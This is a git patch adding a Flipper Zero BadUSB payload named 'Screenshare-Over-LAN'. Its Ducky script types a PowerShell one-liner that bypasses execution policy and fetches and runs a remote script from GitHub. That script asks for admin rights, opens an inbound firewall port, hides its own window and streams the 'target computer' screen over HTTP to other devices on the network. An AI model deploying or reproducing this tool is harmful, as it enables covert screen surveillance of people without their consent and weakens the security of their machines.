From 306e45713624c333177d3f47693cc14cf46f4130 Mon Sep 17 00:00:00 2001
From: egieb <93350544+beigeworm@users.noreply.github.com>
Date: Sun, 22 Dec 2024 17:11:57 +0000
Subject: [PATCH] Add files via upload
---
Screenshare-Over-LAN/README.md | 13 ++
Screenshare-Over-LAN/Screenshare-Over-LAN.txt | 15 ++
Screenshare-Over-LAN/main.ps1 | 182 ++++++++++++++++++
3 files changed, 210 insertions(+)
create mode 100644 Screenshare-Over-LAN/README.md
create mode 100644 Screenshare-Over-LAN/Screenshare-Over-LAN.txt
create mode 100644 Screenshare-Over-LAN/main.ps1
diff --git a/Screenshare-Over-LAN/README.md b/Screenshare-Over-LAN/README.md
new file mode 100644
index 0000000..c06ef57
--- /dev/null
+++ b/Screenshare-Over-LAN/README.md
@@ -0,0 +1,13 @@
+
+
Screen Stream over LAN
+
+**SYNOPSIS**
+
+Start up a HTTP server and stream the desktop to a browser window on another device on the network.
+
+**USAGE**
+
+1. Run this script on target computer and note the URL provided
+2. on another device on the same network, enter the provided URL in a browser window
+
+
diff --git a/Screenshare-Over-LAN/Screenshare-Over-LAN.txt b/Screenshare-Over-LAN/Screenshare-Over-LAN.txt
new file mode 100644
index 0000000..8625827
--- /dev/null
+++ b/Screenshare-Over-LAN/Screenshare-Over-LAN.txt
@@ -0,0 +1,15 @@
+REM Title: beigeworm's LAN Tools
+REM Author: @beigeworm
+REM Description: Start up a HTTP server and run a selection of Local Area Network Tools using Powershell.
+REM NOTE - This script will need Admin privileges to run properly.
+
+REM some setup for dukie script
+DEFAULT_DELAY 100
+
+REM open powershell (remove "-W H" to show the window)
+DELAY 1000
+GUI r
+DELAY 750
+STRING powershell -NoP -Ep Bypass -C $port = 8080;irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Screenshare-Over-LAN/main.ps1 | iex
+ENTER
+
diff --git a/Screenshare-Over-LAN/main.ps1 b/Screenshare-Over-LAN/main.ps1
new file mode 100644
index 0000000..2b5cb3a
--- /dev/null
+++ b/Screenshare-Over-LAN/main.ps1
@@ -0,0 +1,182 @@
+<#
+================================================= Beigeworm's Screen Stream over HTTP ==========================================================
+
+SYNOPSIS
+Start up a HTTP server and stream the desktop to a browser window on another device on the network.
+
+USAGE
+1. Run this script on target computer and note the URL provided
+2. on another device on the same network, enter the provided URL in a browser window
+3. Hold escape key on target for 5 seconds to exit screenshare.
+
+#>
+
+
+# Hide the powershell console (1 = yes)
+$hide = 1
+
+# WRITE AS ADMIN!
+If (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) {
+ Start-Process PowerShell.exe -ArgumentList ("-NoProfile -Ep Bypass -File `"{0}`"" -f $PSCommandPath) -Verb RunAs
+ Exit
+}
+
+[Console]::BackgroundColor = "Black"
+Clear-Host
+[Console]::SetWindowSize(88,30)
+[Console]::Title = "HTTP Screenshare"
+Add-Type -AssemblyName System.Windows.Forms
+Add-Type -AssemblyName PresentationCore,PresentationFramework
+Add-Type -AssemblyName System.Windows.Forms
+[System.Windows.Forms.Application]::EnableVisualStyles()
+
+# Define port number
+if ($port.length -lt 1){
+ Write-Host "Using default port.. (8080)" -ForegroundColor Green
+ $port = 8080
+}
+
+Write-Host "Detecting primary network interface." -ForegroundColor DarkGray
+$networkInterfaces = Get-NetAdapter | Where-Object { $_.Status -eq 'Up' -and $_.InterfaceDescription -notmatch 'Virtual' }
+$filteredInterfaces = $networkInterfaces | Where-Object { $_.Name -match 'Wi*' -or $_.Name -match 'Eth*'}
+$primaryInterface = $filteredInterfaces | Select-Object -First 1
+if ($primaryInterface) {
+ if ($primaryInterface.Name -match 'Wi*') {
+ Write-Output "Wi-Fi is the primary internet connection."
+ $localIP = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias "Wi*" | Select-Object -ExpandProperty IPAddress
+ } elseif ($primaryInterface.Name -match 'Eth*') {
+ Write-Output "Ethernet is the primary internet connection."
+ $localIP = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias "Eth*" | Select-Object -ExpandProperty IPAddress
+ } else {
+ Write-Output "Unknown primary internet connection."
+ }
+ } else {Write-Output "No primary internet connection found."}
+
+New-NetFirewallRule -DisplayName "AllowWebServer" -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow | Out-Null
+$webServer = New-Object System.Net.HttpListener
+$webServer.Prefixes.Add("http://"+$localIP+":$port/")
+$webServer.Prefixes.Add("http://localhost:$port/")
+$webServer.Start()
+Write-Host ("Network Devices Can Reach the server at : http://"+$localIP+":$port")
+Write-Host "Press escape key for 5 seconds to exit" -f Cyan
+Write-Host "Hiding this window.." -f Yellow
+sleep 4
+
+# Code to hide the console on Windows 10 and 11
+if ($hide -eq 1){
+ $Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
+ $Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
+ $hwnd = (Get-Process -PID $pid).MainWindowHandle
+
+ if ($hwnd -ne [System.IntPtr]::Zero) {
+ $Type::ShowWindowAsync($hwnd, 0)
+ }
+ else {
+ $Host.UI.RawUI.WindowTitle = 'hideme'
+ $Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
+ $hwnd = $Proc.MainWindowHandle
+ $Type::ShowWindowAsync($hwnd, 0)
+ }
+}
+
+# Escape to exit key detection
+Add-Type @"
+using System;
+using System.Runtime.InteropServices;
+
+public class Keyboard
+{
+ [DllImport("user32.dll")]
+ public static extern short GetAsyncKeyState(int vKey);
+}
+"@
+$VK_ESCAPE = 0x1B
+$startTime = $null
+
+while ($true) {
+ try {
+ $context = $webServer.GetContext()
+ $response = $context.Response
+ if ($context.Request.RawUrl -eq "/stream") {
+ $response.ContentType = "multipart/x-mixed-replace; boundary=frame"
+ $response.Headers.Add("Cache-Control", "no-cache")
+ $boundary = "--frame"
+
+ while ($context.Response.OutputStream.CanWrite) {
+ $screen = [System.Windows.Forms.Screen]::PrimaryScreen
+ $bitmap = New-Object System.Drawing.Bitmap $screen.Bounds.Width, $screen.Bounds.Height
+ $graphics = [System.Drawing.Graphics]::FromImage($bitmap)
+ $graphics.CopyFromScreen($screen.Bounds.X, $screen.Bounds.Y, 0, 0, $screen.Bounds.Size)
+
+ $stream = New-Object System.IO.MemoryStream
+ $bitmap.Save($stream, [System.Drawing.Imaging.ImageFormat]::Png)
+ $bitmap.Dispose()
+ $graphics.Dispose()
+
+ $bytes = $stream.ToArray()
+ $stream.Dispose()
+
+ $writer = [System.Text.Encoding]::ASCII.GetBytes("$boundary`r`nContent-Type: image/png`r`nContent-Length: $($bytes.Length)`r`n`r`n")
+ $response.OutputStream.Write($writer, 0, $writer.Length)
+ $response.OutputStream.Write($bytes, 0, $bytes.Length)
+ $boundaryWriter = [System.Text.Encoding]::ASCII.GetBytes("`r`n")
+ $response.OutputStream.Write($boundaryWriter, 0, $boundaryWriter.Length)
+
+ Start-Sleep -Milliseconds 33
+
+ # Check for the escape key press to exit
+ $isEscapePressed = [Keyboard]::GetAsyncKeyState($VK_ESCAPE) -lt 0
+ if ($isEscapePressed) {
+ if (-not $startTime) {
+ $startTime = Get-Date
+ }
+ $elapsedTime = (Get-Date) - $startTime
+ if ($elapsedTime.TotalSeconds -ge 5) {
+ (New-Object -ComObject Wscript.Shell).Popup("Screenshare Closed.",3,"Information",0x0)
+ sleep 1
+ exit
+ }
+ } else {
+ $startTime = $null
+ }
+
+ }
+ } else {
+ $response.ContentType = "text/html"
+ $html = @"
+
+
+
+ Streaming Video
+
+
+
+
+
+
+
+"@
+ $buffer = [System.Text.Encoding]::UTF8.GetBytes($html)
+ $response.OutputStream.Write($buffer, 0, $buffer.Length)
+ }
+ $response.Close()
+ } catch {
+ Write-Host "Error encountered: $_"
+ }
+}
+$webServer.Stop()
\ No newline at end of file